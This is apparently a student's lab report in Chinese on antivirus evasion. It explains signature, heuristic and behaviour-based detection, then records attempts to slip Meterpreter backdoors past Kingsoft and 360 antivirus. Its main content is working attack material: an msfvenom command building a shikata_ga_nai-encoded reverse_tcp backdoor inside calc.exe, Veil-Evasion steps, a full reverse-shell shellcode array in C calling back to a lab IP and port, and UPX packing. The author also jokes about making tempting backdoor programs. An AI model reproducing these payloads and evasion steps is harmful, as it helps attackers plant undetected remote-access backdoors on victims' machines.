Exp3 免杀原理与实践
基础问题
（1）杀软是如何检测出恶意代码的？
基于特征码的检测（杀软的特征库中包含了一些数据或者数据段，杀软会尽可能的更新这个特征库，以包括尽可能多的恶意代码，当一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码）。
启发式恶意软件检测（很简单，就是根据些片面特征去推断，也就是进行检测，当某个软件或者程序想干一些看起来像是恶意软件干的事情，那么机会被定义为恶意软件，检测效果比较显著，可以检测0-day恶意软件，但通常是因为缺乏精确判定依据，并且因为需要一直检测，所以开销比较大）。
基于行为的恶意软件检测（在启发式上加入了行为监控，基于动态的监控）。
（2）免杀是做什么？
免杀，就是恶意代码不被发现查杀，正常在目标机为所欲为！
（3）免杀的基本方法有哪些？
改变特征码 比如加壳啥的。
自己手写恶意代码避开易被查杀的特征码 制作恶意软件。
实践总结与体会
哈哈哈哈哈，感觉可以制作一些很有诱惑的后门软件，比如.....此处略去一万字。在此次实验中还发现自己用的金山毒霸是如此垃圾，居然比不上那流氓软件360.可以思考一下是不是该把360安装回来了。还有就是自己做了一个很诱惑的后门，虽然只是加了一张图片进去，但是让我明白，网上很多的很具有诱惑力的小游戏啥的可不能乱下载，乱玩！！！强大的360在做实验的时候愈发强大，每个都被发现了 ，而我电脑中的金山居然。。。。居然！！只发现了一个！！！！！真的让我很气愤，已删！
离实战还缺些什么技术或步骤？
租一个服务器？那还有点远。估计我们做的免杀出去是个没有战斗力的战五渣。中看不中用，我们缺的应该时王shell code中加入各种功能。哇哈哈哈！！
实验环境
win10+金山毒霸 win7+360杀毒简易版 32位kali
实验过程！！！（关闭360）
- 可以打开金山毒霸，大部分也能完成！
- 建议使用http://www.virscan.org 来查杀，数据会好看很多！！！
测试上次实验产生的后门
使用msf编码器，msfvenom生成如jar之类的其他文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具，msfvenom命令行选项如下
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder（编码器）
-a,指定payload的目标架构，指定payload的目标平台
-b,设定规避字符集，比如: 'x00xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
利用计算器程序作为可执行文件的模板生成payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.247.141 LPORT=5329 -x calc.exe -f exe > met-encoded.exe
测试结果
- 使用Msfvenom编码器多编码几次后
高兴了好久！！！回连发现，后门不能用
！！！白高兴了！！
veil-evasion，自己利用shellcode编程等免杀工具或技巧。
- 安装过程（忘记截图了）中主要遇见的问题就是源出问题，换源就可以正常安装了
- 安装成功后
在Kali的终端输入veil进入Veil，之后输入list输入use，选择Evasion输入list payloads之后选择自己想要的语言，我第一次尝试的是比较熟悉的c语言，所以输入use 8设置IP和端口，然后generate- 出现下图所示，其中记下生成的文件存储的路径
- 做到这里我发现一个问题，同学们总是不停的将恶意代码加入信任才能继续做下去，而我就不一样了 一直顺风顺水，谢谢金山毒霸给我带来极好的实验感受！
扫描结果如下
C语言调用Shellcode
- 下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.141 LPORT=5329 -f c
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8xf7x8d"
"x68x02x00x14xd1x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
- 测试使用的Win10平台安装了Visual Studio2017，进行的后门的生成
- 测试结果如下
加壳儿（压缩壳UPX）
- 加壳后检比加壳前更容易被检出。作为流行这么多年的加壳软件，也是可理解的